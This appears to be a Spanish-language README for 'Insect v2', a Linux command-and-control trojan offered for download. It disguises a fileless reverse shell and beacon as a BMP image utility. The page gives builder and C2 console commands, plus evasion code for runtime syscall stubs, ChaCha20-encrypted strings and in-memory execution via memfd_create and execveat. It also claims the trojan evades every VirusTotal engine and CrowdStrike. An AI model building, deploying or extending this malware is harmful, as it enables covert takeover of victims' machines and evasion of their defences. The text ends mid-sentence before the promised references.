
Un reverse shell sin archivos y framework C2 que aprovecha syscalls directas, tunelización por proxy y cifrado ChaCha20 para evadir el AV.
Insect es un troyano C2 para payloads de Linux con reverse shell y beacon sin archivos. Este troyano se oculta como una utilidad de procesamiento de imágenes BMP de 24 bits. Utiliza stubs de syscall dinámicos, memfd_create, recursos de cadenas cifrados con ChaCha20, proxy de túnel y cifrador de perfiles ICC para evadir el análisis estático. El servidor C2 admite 2 tipos de payloads, interactivo y beacon.
La creación manual de syscalls es una técnica antigua, pero para Insect v2, he refinado la forma en que se construyen los stubs en tiempo de ejecución para mantenerse bajo el radar de los escáneres modernos. Al construir las syscalls dinámicamente, el payload evita las firmas estándar que los antivirus estáticos suelen detectar.
En pruebas del mundo real, eludió con éxito todos los motores de VirusTotal. También lo probé contra CrowdStrike Falcon, donde recibió una "bandera verde" sin detecciones del motor estático. Durante el análisis dinámico, solo generó una sospecha menor y finalmente también se determinó que era seguro.
Descargo de responsabilidad: Insect V2 es un trabajo en progreso, además no apruebo ninguna actividad ilegal. Eres libre de usarlo con fines de red teaming. Y modificarlo.
server.py → consola C2 multisessión
main.c → implante revshell (shell interactiva)
main_beacon.c → implante beacon (sondeo basado en tareas)
Tenemos 2 perfiles:
# Reverse shell interactiva
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Beacon basado en tareas
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
Ambos producen un binario bmputil. El builder cifra todas las cadenas en texto plano con ChaCha20 en tiempo de compilación, cifra el ELF compilado con una máscara de perfil ICC, lo divide en secciones ELF con nombre y genera un stub cargador.
python3 server.py
Inicia un listener en 0.0.0.0:8080 por defecto.
(insect) > list # mostrar sesiones activas
(insect) > use rev-a1b2c3d4 # interactuar con una revshell
(insect) > task bea-deadbeef whoami # encolar un comando para un beacon
(insect) > tasks bea-deadbeef # ver resultados de tareas completadas
(insect) > listen beacon 0.0.0.0 9090 # iniciar un listener adicional
(insect) > exit
Las sesiones se rastrean mediante un ID estático único de 4 bytes incrustado en tiempo de compilación.
Al ejecutarse en la máquina objetivo, el payload acepta argumentos ficticios para mantener la legitimidad:
./bmputil input.bmp output.bmp --grayscale
Bajo el capó, hace fork, se conecta de vuelta al C2 a través de un túnel de handshake de Minecraft (playit.gg), y espera un disparador 0xDEAD. Una vez activado, redirige stdin/stdout/stderr al socket y lanza /bin/sh.
El servidor C2 mantiene las conexiones revshell en un registro de sesiones. Usa use <id> para adjuntar tu terminal a una sesión.
Los beacons se conectan, se registran con su beacon_id incrustado, comprueban si hay tareas pendientes, las ejecutan mediante fork + pipe + execve, informan los resultados, luego duermen durante 30 segundos y se reconectan.
Usa task <id> <command> para encolar trabajo. Los resultados se almacenan en memoria y se visualizan con tasks <id>.
Ambos perfiles comparten las mismas primitivas de evasión:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
Como se comentó anteriormente, los opcodes de syscall (0F 05) se construyen en tiempo de ejecución en memoria ejecutable para evitar el análisis estático.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
Cada cadena se cifra en tiempo de compilación con un nonce único. La máscara XOR sobre las constantes de estado bloquea las detecciones basadas en firmas de la configuración de ChaCha20.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
El payload se ejecuta completamente desde memoria mediante memfd_create + execveat.
Técnicamente, memfd_create y execveat son detectados por los antivirus, pero están cifrados y se construyen en tiempo de ejecución, y sorprendentemente en pruebas del mundo real, no se marcan.
El ELF intermedio se cifra con XOR usando una tabla de búsqueda de color ICC con corrección gamma y una clave aleatoria de 32 bytes, luego se divide en 8 secciones .rodata.blk* con nombre. El stub cargador lo reensambla, descifra y ejecuta.
Este método no es nada nuevo, más bien es una técnica antigua, pero insect v2 modifica y reimplementa técnicas mencionadas en varios writeups de seguridad y malware, puedes revisarlos aquí: